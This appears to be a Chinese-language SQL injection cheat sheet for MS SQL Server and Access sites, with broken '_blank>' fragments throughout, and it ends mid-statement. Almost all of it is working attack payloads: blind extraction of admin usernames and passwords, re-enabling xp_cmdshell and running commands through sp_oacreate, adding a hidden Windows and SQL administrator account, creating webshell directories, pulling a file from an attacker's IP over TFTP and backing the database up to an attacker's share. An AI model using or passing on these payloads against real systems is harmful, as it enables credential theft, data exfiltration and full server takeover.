1.判斷有無注入點; and 1=1 and 1=2 2.猜表一般的表的名稱無非是admin adminuser user pass password 等..and 0<>(select count(*) from *)and 0<>(select count(*) from admin) ---判斷是否存在admin這張表3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個and 0<(select count(*) from admin)and 1<(select count(*) from admin)4.猜解字段名稱 在len( ) 括號裡面加上我們想到的字段名稱.and 1=(select count(*) from admin where len(*)>0)--and 1=(select count(*) from admin where len(用戶字段名稱name)>0) and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0) 5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 錯誤and 1=(select count(*) from admin where len(name)>5) 正確 長度是6and 1=(select count(*) from admin where len(name)=6) 正確and 1=(select count(*) from admin where len(password)>11) 正確and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12and 1=(select count(*) from admin where len(password)=12) 正確6.猜解字符and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字符.group by users.id having 1=1-- group by users.id, users.username, users.password, users.privs having 1=1--; insert into users values( 666, attacker, foobar, 0xffff )--UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 看_blank>服務器打的補丁=出錯了打了SP4補丁and 1=(select @@VERSION)--看_blank>數據庫連接賬號的權限,返回正常,證明是_blank>服務器角色sysadmin權限。and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--判斷連接_blank>數據庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)and sa=(SELECT System_blank>_user)--and user_blank>_name()=dbo--and 0<>(select user_blank>_name()--看xp_blank>_cmdshell是否刪除and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--xp_blank>_cmdshell被刪除,恢復,支持絕對路徑的恢復;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--反向PING自己實驗;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 加帳號;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--創建一個虛擬目錄E盤: ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e:\"--訪問屬性:(配合寫入一個webshell) declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse爆庫 特殊_blank>技巧::\=\ 或者把/和\ 修改%5提交 and 0<>(select top 1 paths from newtable)-- 得到庫名(從1到5都是系統的id,6以上才可以判斷)and 1=(select name from master.dbo.sysdatabases where dbid=7)--and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9.... 得到更多的_blank>數據庫名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_blank>_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,...)) 來暴出其他的字段 and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用戶名 依次可以得到_blank>密碼。。。。。假設存在user_blank>_id username ,password 等字段 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)得到WEB路徑;create table [dbo].[swap] ([swappass][char](255));-- and (select top 1 swappass from swap)=1--;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--;use ku1;-- ;create table cmd (str image);-- 建立image類型的表cmd存在xp_blank>_cmdshell的測試過程: ;exec master..xp_blank>_cmdshell dir ;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帳號;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- exec master..xp_blank>_servicecontrol start, schedule 啟動_blank>服務exec master..xp_blank>_servicecontrol start, server ; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件;declare @a sysname set @a=xp_blank>_ cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp _blank>_cm’ ’dshell exec @a dir c:\ ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目錄bak.dat如果被限制則可以。 select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)查詢構造: SELECT * FROM news WHERE id=... AND topic=... AND ..... adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> select 123;-- ;use master;-- :a or name like fff%;-- 顯示有一個叫ffff的用戶哈。 and 1<>(select count(email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype